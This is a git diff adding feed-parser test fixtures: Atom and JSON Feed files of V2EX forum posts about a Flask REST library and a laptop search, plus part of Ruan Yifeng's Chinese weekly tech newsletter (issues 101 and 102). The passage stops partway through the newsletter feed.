    代码 +https://github.com/guyskk/kkblog/blob/master/kkblog/captcha.py

    +

    大家看下是否可行,有没有什么漏洞?

    + + ]]>
    +
    + [Python] Welcome to Flask-Restaction! + + tag:www.v2ex.com,2016-02-02:/t/255107 + 2016-02-02T16:44:57Z + 2016-02-03T17:28:41Z + + guyskk + https://www.v2ex.com/member/guyskk + + 深夜把文档更新好了,大家看看吧

    + +

    文档: http://flask-restaction.readthedocs.org/zh/latest/index.html
    +github: https://github.com/guyskk/flask-restaction

    + +

    安装
    +git clone https://github.com/guyskk/flask-restaction.git
    +cd flask-restaction
    +pip install -e .

    + +

    我 js 和 android 学的不深, res.js 并没有完整测试,希望有 jser 来做。
    +res.java 希望有做 android 的来做。

    + +

    目前自动生成文档和权限管理界面是通过 jinja2 模板生成的,我尝试过用 vue.js 做动态页面也可以。

    + +
    + +

    先睡一觉,明天尽量早点起来

    + + ]]>
    +
    + [Python] 遇到一个奇怪的问题,怀疑是 python 的 bug + + tag:www.v2ex.com,2016-01-22:/t/252754 + 2016-01-22T15:51:17Z + 2016-01-22T16:39:06Z + + guyskk + https://www.v2ex.com/member/guyskk + + 代码在这:
    +https://gist.github.com/guyskk/8ae152653220800e9b9a
    +被注释掉的都会报 KeyError
    +最后那句print(dict([(k, items[k]) for k in keys]))在 python3 会报错,python2 正常

    + + ]]>
    +
    + [硬件] 寻找一款称手的装备 + + tag:www.v2ex.com,2016-01-12:/t/250195 + 2016-01-12T09:24:20Z + 2016-02-13T02:50:22Z + + guyskk + https://www.v2ex.com/member/guyskk + +
    1. 不打游戏,主要用来写代码,上网,连服务器。写代码不需要开 IDE ,有个称手的编辑器即可
    2. 要能续航 8 小时
    3. 要轻薄,便于携带
    4. 价钱最好是 3000 以内, 4000 以上不考虑

    目前看中 remix 的一款 https://shop.jide.com/m/detail?pid=1
    最大的担心是 android 上没有称手的编辑器,我想到可以用的只有 vim ,有没有和 sublime 差不多的?

    大家有没有其他的推荐? + ]]>
    +
    + [Python] 推荐 Flask-Restaction,为 restful api 而生 + + tag:www.v2ex.com,2015-11-02:/t/233045 + 2015-11-02T12:39:27Z + 2015-11-04T01:28:20Z + + guyskk + https://www.v2ex.com/member/guyskk + + 主要特性 + +

    you can do this Easily

    + +
      +
    • Create restful api
    • +
    • Validate inputs and Convert outputs
    • +
    • Authorize and Permission control
    • +
    • Auto generate res.js
    • +
    • Auto generate documents
    • +
    + +

    Support py3 since v0.17.0

    + +

    主页 https://github.com/guyskk/flask-restaction
    +文档 http://flask-restaction.readthedocs.org/zh/latest/

    + +

    目前趋于稳定,正在用它做一个博客系统 https://github.com/guyskk/kkblog
    +希望听听社区的反馈意见

    + + ]]>
    +
    +
    \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/well/v2ex-jsonfeed.json b/tests/feedlib/testdata/parser/well/v2ex-jsonfeed.json new file mode 100644 index 0000000..425f6cb --- /dev/null +++ b/tests/feedlib/testdata/parser/well/v2ex-jsonfeed.json @@ -0,0 +1,23 @@ +{ + "version": "https://jsonfeed.org/version/1", + "title": "JSON Feed", + "description": "\u7c7b\u4f3c RSS \u7684\u7ad9\u70b9\u5185\u5bb9\u4fe1\u606f\u6d41 JSON \u683c\u5f0f\u3002\u8fd9\u91cc\u8ba8\u8bba JSON Feed \u7684\u5b9e\u73b0\u53ca\u9605\u8bfb\u5668\u652f\u6301\u3002", + "home_page_url": "https://www.v2ex.com/go/jsonfeed", + "feed_url": "https://www.v2ex.com/feed/jsonfeed.json", + "icon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_large.png?m=1567059308", + "favicon": "https://cdn.v2ex.com/navatar/db57/6a7d/1054_normal.png?m=1567059308", + "items": [ + { + "author": { + "url": "https://www.v2ex.com/member/DEVN", + "name": "DEVN", + "avatar": "https://cdn.v2ex.com/avatar/6fc1/cc76/467193_large.png?m=1583239760" + }, + "url": "https://www.v2ex.com/t/641290", + "title": "\u4ec0\u4e48\u63d2\u4ef6\u53ef\u4ee5\u505a\u5230 JSON \u683c\u5f0f\u5316/\u538b\u7f29/\u8fd8\u539f/\u8f6c 2JZ \u7684\uff1f", + "id": "https://www.v2ex.com/t/641290", + "date_published": "2020-01-31T15:05:16+00:00", + "content_html": "" + } + ] +} \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/well/v2ex-jsonfeed.xml b/tests/feedlib/testdata/parser/well/v2ex-jsonfeed.xml new file mode 100644 index 0000000..8bb5070 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/v2ex-jsonfeed.xml @@ -0,0 +1,32 @@ + + +JSON Feed +way to explore + +https:https://cdn.v2ex.com/navatar/db57/6a7d/1054_normal.png?m=1567059308 + + +https:https://cdn.v2ex.com/navatar/db57/6a7d/1054_large.png?m=1567059308 + + + +https://www.v2ex.com/ + +2020-01-31T11:05:16Z + +Copyright © 2010-2018, V2EX + + 什么插件可以做到 JSON 格式化/压缩/还原/转 2JZ 的? + + tag:www.v2ex.com,2020-01-31:/t/641290 + 2020-01-31T15:05:16Z + 2020-01-31T11:05:16Z + + DEVN + https://www.v2ex.com/member/DEVN + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/parser/well/www-ruangyifeng-com-blog-atom.xml b/tests/feedlib/testdata/parser/well/www-ruangyifeng-com-blog-atom.xml new file mode 100644 index 0000000..27f8ba3 --- /dev/null +++ b/tests/feedlib/testdata/parser/well/www-ruangyifeng-com-blog-atom.xml @@ -0,0 +1,1347 @@ + + + 阮一峰的网络日志 + + + tag:www.ruanyifeng.com,2010-04-11:/blog//1 + 2020-04-11T02:40:15Z + Ruan YiFeng's Blog + Movable Type 5.2.2 + + + 科技爱好者周刊:第 102 期 + + tag:www.ruanyifeng.com,2020:/blog//1.2169 + + 2020-04-10T01:07:36Z + 2020-04-11T02:40:15Z + + 这里记录每周值得分享的科技内容,周五发布。... + + 阮一峰 + http://www.ruanyifeng.com + + + + + + + 这里记录每周值得分享的科技内容,周五发布。

    +]]> + 本杂志开源(GitHub: ruanyf/weekly),欢迎提交 issue,投稿或推荐你的项目。

    + +

    周刊讨论区的帖子《谁在招人?》,提供大量就业信息,欢迎访问或发布工作/实习岗位。

    + +

    封面

    + +

    + +

    3月26日,位于武汉的东风日产汽车厂复工,员工午餐保持距离。(法新社)

    + +

    本周观点:工作热情从何而来?

    + +

    BBC 报道,一位新加坡心理学家发明了《工作热情测量表》,可以测量一个人对自己的工作有多大的热情。

    + +

    + +

    工作热情很重要, 如果没有热情,干什么都不会出色。 特朗普就说过:"没有热情,你就没有能量。没有能量,你什么都没有。"

    + +

    + +

    工作热情有很多来源:经济收入、职业前景、社会荣誉......据说,《工作热情测量表》可以测量这些诱因,对你的刺激有多大。

    + +

    我有一个简单的方法,根本不需要什么心理测试,就能知道你最有工作热情的事情是什么。

    + +

    你只需要问自己一个问题:即使没有报酬,你也会去干的工作是什么? 如果一种工作根本得不到报酬,你也愿意去做,这就是你最喜欢、最有热情的事情,千万要珍惜。

    + +

    JK.罗琳写《哈利波特》第一卷时,根本不知道能否出版,她就是有写的冲动,每天去咖啡馆的角落写到天黑。理查德·斯托曼是 GCC 和 Emacs 的作者,写完以后就把代码开源了,所有人都可以免费用,尽管那时他还没地方住,只能睡在办公室里面。

    + +

    他们的工作热情之高,已经不需要金钱激励了。我就是想去做,管它有没有报酬。 我们要的就是这样一种工作状态,热情不是来自外部的激励,而是来自内在的自我实现的需要,这比外部激励强大得多。 很多最优秀的作品,都是这样产生的。

    + +

    如果你有这样的工作,得不到一分钱,依然有强烈的冲动去做。那么恭喜你,已经找到了自己最有工作热情的事情。你根本不需要《工作热情测量表》,那张表测量出来的热情值,跟我们内心的追求比起来,都不值一提。在自己热情最高的领域,你做出优秀成果的可能性,将远大于那些需要测量表的领域。

    + +

    每个人心中都有一个火种,不要听任它熄灭,要找到它,点燃它。

    + +

    Webpack 免费视频

    + +

    本周的课程资料是来自"开课吧"的《深入理解 Webpack》。

    + +

    Webpack 这个软件库,几乎所有现在的大型前端项目都会用到,React 和 Vue 都需要它来打包模块。而且不止是前端项目,还有小程序、React Native、Electron 也用到它。

    + +

    + +

    我想大部分人都已经用过 Webpack,或者你的脚手架工具内置了。但是,很少有人愿意搞懂它,只是按照文档操作,毕竟它的配置比较多,也不好懂。这样的一个后果就是,遇到打包报错就束手无策了,不知如何排查。提高性能更是无从谈起。

    + +

    下面的这份免费视频会先讲述一个 Webpack 的打包流程,以及 AST (抽象语法树)的基础知识,并分析模块之间依赖图谱,最后再带大家动手自己实现一个简易的 Webpack。

    + +

    + +
    +

    以上视频资料由开课吧独家提供。

    + +

    开课吧是行业首家集齐百度、滴滴、阿里、微软等 IT 大厂资源的泛互联网人新职业教育品牌,将互联网技术领域的一线实战项目根植于教学内容之中,助力学员的能力提升,并无缝衔接大厂用人需求。

    +
    + +

    资讯

    + +

    1、远程毕业典礼

    + +

    + +

    + +

    疫情期间,位于日本东京的创业者商学院在一家酒店,举行了远程毕业典礼。学生不到现场,而是在家操作机器人。机器人的"面孔"是平板电脑,通过摄像头,实时显示毕业生的面孔。

    + +

    主持人宣布开始领取毕业证书,学生就远程操作机器人朝着主席台"走去",从校长大前研一手里拿到毕业证书,工作人员鼓掌说:"恭喜!"。校长将文凭放在机器人手中,然后合影留念。

    + +

    + +

    2、鲸鲨的确切年龄

    + +

    + +

    鲸鲨是地球上最大的鲨鱼,长约18m,平均重约20吨,身上有易于识别的白色斑点。澳大利亚科学家最近找到了一种方法,测量鲸鲨的确切年龄。

    + +

    20世纪40年代后期开始,美国、苏联等国进行了多次原子弹测试。这些核爆炸的一个副作用,就是使得大气层中的碳-14同位素含量翻倍了。地球上的所有生物都通过空气,吸收了这种碳-14。由于存在半衰期,这种同位素会随着时间而减少,因此生物年龄越大,体内能够找到的碳-14就越少。

    + +

    科学家通过分析死去的鲸鲨椎骨标本,发现这种动物的寿命非常长,可能高达100-150岁。

    + +

    3、寻找 COBOL 程序员

    + +

    + +

    纽约州州长在电视上,公开征集 COBOL 程序员。该州的失业保险系统,就是使用 COBOL 开发的,已经超过40年的历史。最近,美国失业人数激增(超过700万人),该系统不堪重负,反应速度极慢,每个操作要等很长时间,让人担心它随时会崩溃。

    + +

    COBOL 语言诞生于1970年代,当时有很多金融机构和政府部门使用这种语言,开发了很多关键系统。后来,COBOL 逐渐没落,懂得它的程序员越来越少。但是基于它的系统,由于风险和成本的关系,一直运行至今,始终没有升级。

    + +

    4、人类设计的活体生命

    + +

    + +

    美国科学家从青蛙胚胎(上图)里面提取细胞,然后根据计算机模型得到的结果,将这些细胞组合在一起,创造出世界第一种"可编程的生物"(下图)。

    + +

    + +

    这些生命形式没有性器官,也没有胃,脑或神经系统,只是一个由大约2000个活着的细胞组成的生命体。科学家将它们聚合在一起,成为活的生物。根据非洲爪蛙的名字 Xenopus laevis,它们被命名为 Xenobots,即青蛙细胞机器人。这些生命体以蛋黄为食,只能存活约一周。

    + +

    5、隔离的贫富分化

    + +

    + +

    《纽约时报》分析了智能手机的位置数据, 发现美国收入最高的地区和贫困地区,最近都出现了人们外出活动的下降。但是,高收入地区的活动减少出现得更早,并且程度更深。也就是说,穷人更少待在家里,外出更多。

    + +

    上图是活动下降的曲线图,蓝色是富裕地区,黄色是贫困地区。可以看到,蓝色比黄色早三天进入隔离,并且隔离程度更深。

    + +

    6、一句话消息

    + +
    +
      +
    • 意大利的 COVID-19 死亡率非常高,但是全体人口的死亡率(包括各种死因)仍然很正常,甚至低于历年的平均水平。

    • +
    • 美国宇航局宣布,正在研究在月球背面的陨石坑,建设一个射电望远镜的可能性。由于陨石坑都非常巨大,这样的望远镜直径可能会超过5公里。
    • +
    +
    + +

    + +
    +
      +
    • 深圳一家创业公司开始使用无人车,在园区内进行送货和喷洒消毒液。该车使用激光雷达进行道路识别,如果遇到无法判断的情况,就会传回控制中心,接受远程遥控。
    • +
    +
    + +

    + +

    + +
    +
      +
    • Cloudflare 宣布。由于谷歌的 reCAPTCHA 服务开始收费,经过评估会切换到 hCAPTCHA 。令人不解的是,新的测试还是图片识别挑战,没有改成 Geetest 那种滑块挑战。我觉得,滑块明明对用户更友好。
    • +
    +
    + +

    + +

    + +
    +
      +
    • Facebook 同意支付5.5亿美元,赔偿伊利诺伊州用户。原因是 Facebook 未经该州数百万用户的许可,从他们的照片中收集面部数据。

    • +
    • 美国餐饮业2019年的总收入是8630亿美元,相比之下,全球软件业的总收入是4670亿美元。
    • +
    +
    + +

    文章

    + +

    1、我如何破解比特币钱包的密码?(英文)

    + +

    有人多年前购买了比特币,但是忘记了钱包的密码。理论上,这些比特币无法找回。他不甘心,找到了一个密码学家,愿意支付10万美元,破解钱包的密码。文章有一点难度,但是值得一读。

    + +

    2、以逗号开头的自定义命令(英文)

    + +

    作者提出,Linux 系统的自定义命令都以逗号开头。这样查询会非常方便,先输入逗号,然后按下 Tab 键,所有自定义命令就会显示。

    + +

    3、Netflix 如何变成一家流媒体公司(英文)

    + +

    + +

    Netflix 原来是一家 DVD 碟片的租借公司,用户在网站下单后,就把 DVD 寄到用户家里(上图)。本文介绍他们是怎么变成一家视频点播的流媒体公司,非常精彩的故事。

    + +

    4、如何使用 Wireguard?(英文)

    + +

    Wireguard 最近进入了 Linux 内核,本文详细介绍它的安装使用步骤。

    + +

    5、CLUI:命令行 UI

    + +

    + +

    + +

    命令行界面CLI对新手不友好,必须看手册才会用。图形界面GUI不适合功能多的软件,而且效率低。

    + +

    有人就提出了一种将两者优点结合的界面 CLUI(命令行 UI):命令行下显示图形提示框。

    + +

    6、AWS 如何添加用户(英文)

    + +

    这篇文章教你入门亚马逊网络服务 AWS,最基本的一步,新增一个管理员用户。这里还有一篇类似的文章,介绍如何使用 IAM 服务新增 AWS 用户。

    + +

    7、如何对 Array.forEach 使用 async 函数(英文)

    + +

    JavaScript 语言中,如果要通过 Array.forEach() 方法,对数组的每个成员进行异步操作,使用 async 函数可能不会达到你的目的。本文介绍了如何使用 Array.reduce() 方法保证对每个成员进行继发操作。

    + +

    8、Rome,一个新的 JavaScript 工具库(英文)

    + +

    Babel 创始人的新作品,把 JS 的主要工具都包括在一个库里。不需要 webpack、eslint、prettier、babel ,它都提供了。

    + +

    它的核心思想是,把基于AST(抽象语法树)的所有功能都统一起来,不要每个工具自己做一次AST解析。

    + +

    工具

    + +

    1、Messenger 桌面版

    + +

    + +

    脸书宣布,为了适应激增的通话量,通信软件 Messenger 推出桌面版,提供免费的无限量多人视频聊天。上面是 Windows 版的下载链接,Mac 版下载在这里

    + +

    2、Slient Down

    + +

    + +

    一个监控服务器是否在线的服务,非付费用户可以监控5台服务器,每5分钟检查一次。如果宕机,就会通过邮件或其他途径通知用户。

    + +

    3、Desktop Info

    + +

    + +

    一个 Windows 小工具,可以在桌面显示系统信息,内容可以定制。

    + +

    4、lossless-cut

    + +

    + +

    一个开源项目,为视频工具库 ffmpeg 开发一个图形界面 GUI。

    + +

    5、DeepL

    + +

    一家创业公司推出的机器翻译引擎,据称比谷歌翻译得更好。(@ketra21 投稿)

    + +

    6、plausible

    + +

    + +

    一个 Google Analytics 的开源替代品,可以自己架设网站访问统计。特点是轻量级,结构简单

    + +

    7、apioak

    + +

    一个开源的国产 API 网关,可以作为前后端之间的映射层。基于 OpenResty,性能好,功能强。(@shuaijinchao 投稿)

    + +

    8、like-mysql

    + +

    一个 Node.js 库,MySQL 数据库的 ORM 映射层,使用很简便,但是功能也比较少。

    + +

    9、esbuild

    + +

    一个用 Go 语言写的 JS 脚本打包工具,根据作者提供的数据,打包时间仅仅是 Webpack 的几十分之一。

    + +

    10、plink-plonk.js

    + +

    作者提供一段 JS 代码,只要插在网页里面,可以让 DOM 变动发出声音。如果 DOM 有改变,你就会听到声音。

    + +

    资源

    + +

    1、Pluralsight

    + +

    + +

    Pluralsight 宣布四月份对用户免费,网站上面 7000 多门视频课都可以免费听。它家的 C# 课程很有名,最近 Python、JS、Java、Devops 课程也添加了不少。

    + +

    2、3D 打印口罩

    + +

    + +

    + +

    该网站提供一个开源的口罩方案,本质是一个带在脸上的空气过滤器,可以 3D 打印。过滤层采用空气过滤器的 HEPA 材料。

    + +

    3、哺乳动物树

    + +

    + +

    一个数据可视化作品,根据5,911种动物的种属,将它们画成一棵倒金字塔型的树,可以连续放大查看。

    + +

    4、简单粗暴 TensorFlow 2

    + +

    这是一本简明的 TensorFlow 2 入门指导手册的中文版翻译,力图让具备一定机器学习及 Python 基础的开发者们快速上手 TensorFlow 2。(@ketra21 投稿)

    + +

    5、大圣盘

    + +

    一个百度网盘资源搜索引擎,由网络爬虫自动抓取。(@ketra21 投稿)

    + +

    图片

    + +

    1、世界最陡峭的街道

    + +

    2019年以前,新西兰但尼丁市的鲍德温街,是世界最陡的住宅区街道。它长350米,坡度为35度。

    + +

    + +

    + +

    2019年,英国威尔士有一条新的街道超过了它,坡度达到37.5度。 但尼丁市长称,会考虑将鲍德温街标牌文字,从世界上最陡峭的街道改为南半球最陡峭的街道。

    + +

    2、什么是重力波?

    + +

    爱因斯坦在1916年提出"重力波",在一百年后终于被侦测到。

    + +

    + +

    重力波的简单想像方式是,你有一张拉平的床单,床单上画着标准的方型格线。接着想像你放了一个重物在床单上,例如保龄球。保龄球的质量造成床单凹陷。

    + +

    当物体在床单上移动(想像一颗弹珠从一侧滚到另一侧),如果物体太靠近保龄球就会偏移。想像拿着保龄球在床单上上下移动,如果这样做的话,不难看见床单上往外传播的涟漪,这就是重力波。重力波的涟漪造成时间和空间扭曲。

    + +

    文摘

    + +

    1、我们不是一家人

    + +

    Netflix 公司的 CEO 海斯汀(Reed Hastings)2009年曾经发表过一份公开信,对于Netflix 强悍的工作文化有很多惊世骇俗的语句。其中最有名的一句话就是"我们不是一家人"(We Are Not Family)。

    + +

    + +

    根据 Glassdoor 统计,Netflix 资深工程师薪资平均比 Google 高60%。如果上Teamblind 搜寻一下,你可以看到 Netflix 有人年薪高达40万美元,甚至有50万的。年薪40万在美国,是跟总统一样的薪水。

    + +

    天下没有白高的薪水。Netflix 只要成功的人,而且要年复一年永远不停成功的人。Netflix雇人的价值观是:一个A咖比两个B咖便宜,所以他们只要A咖中的A咖。

    + +

    高报酬的背后就是高压。这家公司培养出一种非常特殊的雇佣兵文化,他们不要忠诚,只要能够作战的英雄。

    + +

    海斯汀开宗明义地说,家人有无限的爱与包容,家人必须一再容忍错误与失败。Netflix 不会把你当家人。这里的团队只有一个任务,那就是把每个人都推往不可能的极限。这里没有包容,做不到就会被取代。

    + +

    • 我们不提供寿司、葡萄酒。你是来作战,不是来开趴的。
    +• 我们不看工作多努力或工时多长,我们只看战果。
    +• 我们只要A咖,给的也是A咖的回报。
    +• 如果你是B咖,即使是A咖的努力,我们还是会请你离开。
    +• 我们不要忠诚,只要成功。
    +• 如果你只想找一份安稳的工作,那请你现在就离开。
    +• 我们要的是自发、自律的战将。我们不教你怎么作战,也没时间教你如何生存。
    +• 公司没有流程和法则。我们抛弃所有的繁文缛节。繁文缛节只适合管理笨蛋用。
    +• 我们不追踪工时,只追踪进度。
    +• 出差、餐饮、及公务报销都不需要收据。要报多少自行决定。
    +• 我们给你全部的自由,但你也必须背负全部的责任。
    +• 我们付你无与伦比的报酬,不管盈亏都一样。报酬是看战果,不是看年资。
    +• 如果你打算留下来,那只是为了成就和金钱,不需要其他任何理由。
    +• 我们只告诉你目标,不会告诉你如何达成。
    +• 我们只要超级英雄。

    + +

    2、美国的石油储备

    + +

    自1977年以来,美国能源部在路易斯安那州和德克萨斯州沿海地区,收购了62个巨大的盐洞,用于储存原油。

    + +

    + +

    这些盐洞是在地下的盐层中钻井,然后注入淡水来溶解盐而形成的。矿业公司将溶解的盐抽回地面,此过程称为溶液开采,可产生尺寸非常精确的洞穴。平均每个洞穴可以放置1000万桶石油。

    + +

    这些地下洞穴用来储存石油,实际上是非常安全的。一方面,由于它们位于600米~1公里深的地下,那里极高的压力可防止形成裂缝,所以不会出现泄漏。此外,每个洞穴顶部和底部之间的自然温差会促使原油循环流动,从而保持其品质。

    + +

    + +

    如果要从一个洞穴中回收原油,只需泵水到它的底部。由于油会漂浮在水上,因此原油就会上升到地表。而且,由于这些洞穴靠近墨西哥湾,有现存的石油运输管道,也方便装入船中运走。

    + +

    目前,整个美国石油储备为7.27亿桶,按照2070万桶的能源需求,可以满足35天。如果储存增长达到10亿桶,将延长至48天。

    + +

    言论与数字

    + +

    1、

    + +

    我会购买华为作为下一部手机,以避免使用谷歌的服务。

    + +

    -- HN 读者

    + +

    2、

    + +

    对我来说,英语是比 C 或 Java 更难写的语言。

    + +

    -- 《解释器开发》的写作感受

    + +

    3、

    + +

    《牛津英语词典》从"A"编到"ant"花了10年,剩下的部分又花了60年才编完。

    + +

    -- 《牛津英语词典如何诞生》

    + +

    4、

    + +

    病毒的全球大流行,证明了国家之间的相互依存关系,希望这件事不会造成这种关系的终结。

    + +

    -- 《冠状病毒将留给我们什么》

    + +

    5、

    + +

    我通过删除 WordPress 的 Mailchimp 插件中 20 KB 的 JavaScript 依赖关系,每月估计减少了59,000 公斤的二氧化碳排放量。

    + +

    -- 《互联网的二氧化碳排放量》

    + +

    6、

    + +

    我辍学当程序员的第一年,收入就比父亲职业生涯最高峰时只少了4,000美元。我的父母养育七个孩子的年收入,比我职业生涯初期的收入少,想到这一点我就很不舒服。

    + +

    这对我来说是重要的时刻,我意识到金钱提供了许多人可能从未经历过的机会:国际旅行、假期、以及我们可能不需要但肯定想要的其他东西。

    + +

    -- 《足够金钱的好处》

    + +

    回顾

    + +

    去年的本周:《周刊第 51 期》

    + +

    + +

    订阅

    + +

    这个周刊每周五发布,同步更新在阮一峰的网络日志微信公众号

    + +

    微信搜索"阮一峰的网络日志"或者扫描二维码,即可订阅。

    + +

    + +

    (完)

    +]]> +

    文档信息

    +
      +
    • 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证
    • +
    • 发表日期: 2020年4月10日
    • + +
    ]]> + ]]> +
    +
    + + + 科技爱好者周刊:第 101 期 + + tag:www.ruanyifeng.com,2020:/blog//1.2168 + + 2020-04-03T01:06:10Z + 2020-04-09T07:19:54Z + + 这里记录每周值得分享的科技内容,周五发布。... + + 阮一峰 + http://www.ruanyifeng.com + + + + + + + 这里记录每周值得分享的科技内容,周五发布。

    +]]> + 本杂志开源(GitHub: ruanyf/weekly),欢迎提交 issue,投稿或推荐你的项目。

    + +

    周刊讨论区的帖子《谁在招人?》,提供大量就业信息,欢迎访问或发布工作/实习岗位。

    + +

    封面照片

    + +

    + +

    3月5日,米兰一位大学教授对着空教室远程讲课。以后,远程教育可能会成为常态,现场上课反而是少数的情况。(出处

    + +

    本周观点:互联网不再稀缺

    + +

    疫情期间,很多东西都是稀缺的:缺口罩、缺消毒液、缺呼吸机......但是,有一样东西是不缺的,那就是互联网。

    + +

    + +

    互联网相关的东西,好像没有出现过紧缺,随时都可以轻松使用。宽带不缺、流量不缺、App 不缺,云服务也不缺。一些视频会议软件,出现过资源紧张,但是服务器扩容以后,很快就解决了。

    + +

    仔细观察,你会发现,稀缺的都是实体商品,虚拟的互联网服务不仅不缺,实际上还很宽裕。

    + +

    这说明了什么?

    + +

    经过几十年的高速发展和庞大投资,互联网不再是稀缺商品,即使发生危机的情况下也不缺,实际上还处于过剩状态。

    + +

    我问大家一个问题,4G 通信已经很快了,为什么电信服务商还拼命发展 5G?我认为,原因是常规的电信数据服务(即互联网需求)已经接近饱和了, 4G 拉动不了需求了,服务商不得不用更快的网速去刺激消费,尤其希望高清电视能通过 5G 得到普及。

    + +

    + +

    (图片说明:每个人头上的云,现在不是太少了,而是太多了。)

    + +

    根据经济学原理,稀缺的东西才能卖出高价。如果互联网不再稀缺,这意味着什么?

    + +

    我认为,今后互联网服务的竞争将非常激烈,因为市场的增长速度已经大大放缓,没有任何一种网络服务是供不应求的。 线上的虚拟产业,到了最后将都是规模竞争,卖不出高价,真正可以卖出高价的是一些实体的东西。

    + +

    Vue3 快速深入全攻略

    + +

    本周的课程是京程一灯的《Vue3 快速深入全攻略》。

    + +

    Vue.js 作为现在的前端主流框架之一,在国内有着广泛的应用,也是面试几乎肯定问到的内容。如果能够看懂它的源码,熟悉它的各种使用技巧,肯定会对你的面试有极大的助益。

    + +

    市场上的 Vue 教程非常多,基础课程占多数。如果你希望提高 Vue.js 水平,掌握更多的开发技能,可以看一下这个专题课 ----《 Vue3 快速深入全攻略》。

    + +

    + +

    它是 Vue 高级教程,从 Vue 2 & Vue 3 核心 API 对比讲起,包括真实业务项目实战、核心源码分析,帮你全面理解 Vue 3 的实现原理,目标是帮助大家通过面试、拿到高薪。

    + +

    + +

    本课程由京程一灯的创始人袁志佳主讲。原价98元,微信扫码下面的二维码,加群后领取优惠券, 1元即可报名 ,名额只有100人,感兴趣的同学不要错过。

    + +

    + +

    资讯

    + +

    1、谷歌 3D 动物

    + +

    + +

    动物园在疫情期间纷纷关闭,谷歌就推出了 3D 动物,让你可以在手机上游览动物园,观看 3D 动物。方法是在手机搜索动物名称,中文或英文都可以,目前一共支持20多种动物。然后,点击页面上的"View in 3D",就可以观看动物的 3D 模型了。

    + +

    这些模型都会动,还可以用手机摄像头叠加在室内实景上,以 AR 显示,仿佛动物出现在你的家里。

    + +

    + +

    2、垂直农业架

    + +

    + +

    + +

    加拿大一家创业公司开发了"垂直农业架",这是一个像书报架一样的装置,可以用来种植农业物。它的供水和养料是由架子本身提供的,用户只要保证光照就可以了,非常适合城市的家庭种植。

    + +

    网上有不少已经购买的用户在抱怨,现在型号的水泵很容易堵塞,造成植物死亡。不过,这个概念还是很吸引人的,产品值得进一步改进。

    + +

    3、地球得到了一个迷你月亮

    + +

    + +

    2020年2月19日,亚利桑那州天文台的科学家发现了一个昏暗的物体在天空中快速移动(上图的小白点)。接下来的几天,世界各地另外六个天文台的研究人员确认了这个天体,并计算了它的轨道,估计它已经在重力作用下,环绕地球大约三年。

    + +

    天文学家认为,它不是人造天体,而可能是一颗小行星在经过时被地球重力捕获。它的体积非常小,长度大概在1.9至3.5米之间,跟一辆汽车相当。它每47天围绕地球旋转一周,由于轨道的不规则,天文学家估计,它可能会在今年4月份逃脱地球的引力。

    + +

    4、锂电池潜艇

    + +

    + +

    + +

    日本第一艘锂电池潜艇"凰龙"号,3月5日正式服役。这也是全世界第一艘锂电池的常规潜艇。

    + +

    常规潜艇在水下都用电池供电,因为柴油发电机耗费氧气。但是,铅酸电池重量大,储电量少,最多坚持几十个小时,就要浮上水面,用发电机充电。锂电池可以减轻重量,体积相同的情况下,储电量是铅酸电池的两倍,不仅使得潜艇可以在水下潜伏更久,也提高了航速,大幅增强作战能力。

    + +

    5、植物冶炼

    + +

    + +

    + +

    马来西亚和印尼的一些岛屿有丰富的镍矿,当地的植物也因此有很高的镍含量。最近,植物学家特地租用了一块土地,每隔6到12个月就收割一次,经过焚烧和净化,可以获得大约500磅的柠檬酸镍,价值数千美元。上图是提取镍含量非常高的树汁。

    + +

    植物学家认为,植物冶炼可以部分替代传统的采矿业,没有环境污染,节省能源,并能净化有毒土壤。以后,农民可以像生产椰子和咖啡那样生产金属。另外,这也是处理废弃矿山的一种可行方法。

    + +

    6、一句话消息

    + +
    +
      +
    • 阿尔茨海默氏病(俗称"老年痴呆")的起因并不确定,有人认为是遗传因素,也有人认为是大脑退化。最近发表的一些观察结果,提出它可能是传染病,起因是未知的细菌或病毒。

    • +
    • 可汗学院是美国最大的免费在线学习网站。疫情期间,该网站的负载是平常的250%,因此向访问者请求捐助。

    • +
    • 彭博社报道,全世界的燃料需求急剧下降,导致现有的石油储存装置都已经快满了,新生产的石油将无处储存。目前,各方正在磋商,将超级邮轮作为临时的浮动油罐。

    • +
    • 盖洛普公司(Gallup)一项调查表明,美国人去图书馆的次数多于去电影院。2019年,每个美国成年人平均去图书馆10.5次。
    • +
    +
    + +

    + +
    +
      +
    • 考古学家在以色列发现的3000年前的锡锭,现在确定产自英国。这说明早在古希腊文明之前,英国的产品就能运到中东,这是非常惊人的。
    • +
    +
    + +

    + +

    文章

    + +

    1、杨广中教授谈医疗机器人(英文)

    + +

    + +

    杨广中是上海交通大学医疗机器人研究院的院长。他从国外回国,现在隔离在上海的一家旅馆里。过去的一周中,他一直没离开房间,每天唯一的访客是一名酒店员工来测量体温,还有一个小型机器人,可以自动送饭。

    + +

    IEEE Spectrum 杂志对他进行了远程采访,访问他对医疗机器人行业发展的想法。下图是已经在武汉得到采用的紫外线消毒机器人,自动对病房进行紫外线照射消毒。

    + +

    + +

    2、远程会议的设备建议(英文)

    + +

    家中举行远程会议或者直播,需要做哪些准备工作?作者提供了一些建议,比如可以坐在衣橱中,让周围的衣服吸收回音。同时,他还可以给出了音频和视频设备的推荐,比如为了照亮脸部,可以购置一个 LED 面板灯,下图为效果对比。

    + +

    + +

    3、RSA 的原理与实现(中文)

    + +

    本文用简单的语言和数学推导,介绍了公钥加密 RSA 的原理。(@cj1128 投稿)

    + +

    4、我在硅谷的9年(英文)

    + +

    + +

    2010年,作者从巴西来到美国,为硅谷一家创业公司工作。这家公司最终变成了 Trip.com,并被收购,他就套现离开了。这篇文章回顾了他九年来在美国的工作历程。

    + +

    5、写给新软件工程师的一封信(英文)

    + +

    + +

    作者给进入这个行业的新人,提供了几点建议(上图),我觉得说得相当好。新人对这些建议肯定没有很深的体会,但是工作几年以后,再回头看,你会觉得这才是正确的路。

    + +

    6、User-Agent 新方案

    + +

    浏览器向服务器发请求的时候,都会带有一个User-Agent字段,表明客户端的一些软件信息。Chrome 浏览器打算冻结这个字段,本文介绍新方案的细节。

    + +

    7、GitHub 的官方 RSS Feed

    + +

    GitHub 官方有提供 RSS Feed,但没写在文档里面,这篇文章给出了地址。

    + +

    8、WordPress 团队的 PHP 编码标准(英文)

    + +

